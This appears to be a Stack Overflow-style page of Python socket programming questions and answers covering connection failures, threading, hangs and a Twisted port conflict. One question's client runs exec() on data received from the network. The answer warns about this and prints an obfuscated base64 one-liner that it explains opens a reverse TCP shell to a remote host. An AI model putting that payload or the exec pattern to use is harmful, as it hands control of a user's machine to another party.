Python socket does not connect on two machines [duplicate] - python

I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?

An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.

Related

Simple TELNET in Python - loop paused if no data coming

I'm trying to build a very simple TELNET client in Python and I'm getting problem on the last part: sending/receiving data to/from the server.
With the code I have, if no data arrives at the very beginnig, the loop get paused and I can't even send commands.
Here the interested part of the code:
# Infinite cycle that allows user to get and send data from/to the host
while True:
incoming_data = my_socket.recv(4096)
if not incoming_data:
print('Problem occurred - Connection closed')
my_socket.close()
sys.exit()
else:
# display data sent from the host trough the stdout
sys.stdout.write(incoming_data)
# Commands sent to the host
command = sys.stdin.readline()
my_socket.send(command)
(I think the program kinda of works if I try to connect to some hosts that send data at the beginning.)
The idea would be have two loops, running at the same time, getting data or sending data, but I can't get it to work.
I can't use the telnet library and I don't want to use the select library (only sys and socket).
You want to use the threading library.
The following program runs the receiving in one thread and the sending in another:
import socket
from threading import Thread
def listen(conn):
while True:
received = conn.recv(1024).decode()
print("Message received: " + received)
def send(conn):
while True:
to_send = input("Input message to send: ").encode()
conn.sendall(to_send)
host = "127.0.0.1"
port = 12345
sock = socket.socket()
sock.connect((host, port))
Thread(target=listen, args=[sock]).start()
Thread(target=send, args=[sock]).start()
This program is for Python 3. Python 2 is very similar, except print() works differently, and you don't need to encode() and decode() everything being sent through a socket.
The listen and send functions are run in parallel, so that as soon as data arrives, it is printed, but you can also send data at any time. Practically, you would probably want to make some changes so that the data isn't just printed over the input prompt. However, this would be hard just in a command line application.
Research queues for control over data passing between threads.
Let me know if you have any more questions.

python socket server is hanging after sending data

I made a python socket server recently that listens on port 9777 the server is suppose to accept connections and once it does will allow you to send information to the client. The client will then print out whatever it received. However, I found that after I sent some data the server would hang until i reinitialized a new connection. Is there a reason for this and if so how can I prevent it from happening
The code of the server is :
import socket
import sys
host='0.0.0.0'
port=9777
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(10)
c,a=s.accept()
while True:
command=raw_input('[input>] ')
if 'data' in command:
c.send('continue')
data=c.recv(1024)
print data
else:
continue
the code will only send data if the word data is in the string. Here is the code for the client:
import socket
import sys
host='192.168.0.13'
port=9777
while True:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
except:
continue
while True:
d=s.recv(9999)
print d
s.send('received')
My goal is to setup a connection between server and client. I want the server to be able to accept input from a user in a while loop and send the input to the client. The client needs to be able to receive information and when it does it will send a response to the server. Then the user can continue sending data to the server until they decide to terminate the program. However the server keeps hanging after sending data once to the client. Can anyone tell me how I can prevent that?
I try this code in my computer it's work fine , maybe you need to change host='192.168.0.13' to host='localhost'
and host='0.0.0.0' to host='localhost'
look at this picture
and if this problem stay maybe your ip address is the same of other device in the network for that try to run this command ipconfig /renew

Socket programming stuck waiting for a response from the server

For a class assignment I need to use the socket API to build a file transfer application. For this project there two connections with the client and server, one is called the control and is used to send error messages and the other is used to send data. My question is, on the client side how can I keep the control socket open and waiting for any possible error messages to be received from the server while not blocking the rest of the program from running?
Example code (removed some elements)
#Create the socket to bind to the server
clientSocket = socket(AF_INET,SOCK_STREAM)
clientSocket.connect((serverName,portNum))
clientSocket.send(sendCommand) # Send to the server in the control connection contains either the list or get command
(If command is valid server makes a data connection and waits for client to connect)
clientData = socket(AF_INET,SOCK_STREAM)
clientData.connect((serverName,dataport)) #Client connects
recCommand = clientData.recv(2000) #Receive the data from server if command is successful
badCommand = clientSocket.recv(2000) #But if there is an error then I need to skip the clientData.recv and catch the error message in bad Command
when there is an error, the data-socket should be closed by the server, so recv ends automatically.

python socket: winerror 10056

I've read throught this introduction to python sockets:
http://docs.python.org/3.3/howto/sockets.html
This is my server
import socket
serversocket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serversocket.bind(("localhost",8000))
serversocket.listen(5)
while True:
(client,addr)=serversocket.accept()
data=serversocket.recv(1024)
print(data.decode("utf-8"))
and this is the client
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost",8000))
The idea is that the server just prints all the data that was sent from the client. As you can see, I intended to encode the message strings as bytes with utf-8. But I never came that far.
With the server script running, I typed the client lines one by one into an IDLE python shell. After the third line, this error prompted up. Since I'm German, this is a vague translation. The error message will probably sound different if you can reproduce the error
Traceback (most recent call last): File "", line 1, in
s.connect(("localhost",8000)) OSError: [WinError 10056] A connection attempt targeted an already connected socket.
How can I solve this error ? The server is slightly adapted, but the client is the exact code from the tutorial. And the error seens rather strange, after all I want the socket to be already connected - with the server . At first I thought that somehow there were already sockets connected to my server but restarting it and typing the client code again lead to the same result.
You want to receive on the client socket, and close the client socket when the client closes. This will process one client at a time, but note it really needs a message protocol implemented to know it has a complete message to decode:
import socket
serversocket = socket.socket()
serversocket.bind(('',8000))
serversocket.listen(5)
while True:
client,addr = serversocket.accept()
while True:
data = client.recv(1024)
if not data: break
print(data.decode('utf8')) # Note this might not contain a complete UTF-8 character.
client.close()
You don't want to call recv() on the socket you call listen() and accept() on. Use the newly connected client instead.

address already in use with multithreaded server in twisted

I'm trying to write a multithreaded server in python using twisted. callInThread(self.task) is to create a new thread to run task() every time a client requests sth from the server. When the client sends requests one by one(all through port 53), everything works but when there are multiple requests at the same time, it says
File "", line 1, in bind
socket.error: [Errno 98] Address already in use
Is there sth wrong with my threads, only one can use the port at a time? If so, how am I supposed to go about with multithreading my server?
Thanks a lot!
class BaseThreadedUDPServer(DatagramProtocol):
def datagramReceived(self, datagram, (host, port)):
print "received %r from %s:%d" % (datagram, host, port)
reactor.callInThread(self.task)
def task(a):
print "waiting on port:", csport
while 1:
## RCV QUERY ##
query, addr = csSocket.recvfrom(csbuf)
## GET ANS ##
ans = socket.gethostbyname(query)
## SEND ANS ##
scSocket.sendto(ans, scaddr)
def main():
print "main"
reactor.listenUDP(53, BaseThreadedUDPServer())
reactor.run()
You don't need threads. This is horribly buggy. Twisted is already calling recv for you: and it is the result of that which is passed to datagramReceived. Don't call it again yourself. You don't need a thread.
However, that probably has nothing to do with your problem. 53 is the default DNS port: the problem you have is that another server, probably a DNS server is already running on that computer. Try changing 53 to some other value.
But I'm not really sure; in the future, please paste a full traceback. That traceback line obviously didn't come from the example that you've pasted, since there's nothing on line 1 except a 'class' statement. Also, since this code is indented wrong and raises a SyntaxError, it's obviously not exactly the same as what you're running.
Assuming you are actually doing something with DNS, Twisted has its own DNS server; you should be using twisted.names rather than implementing your own DNS packet parsing.

Categories

Resources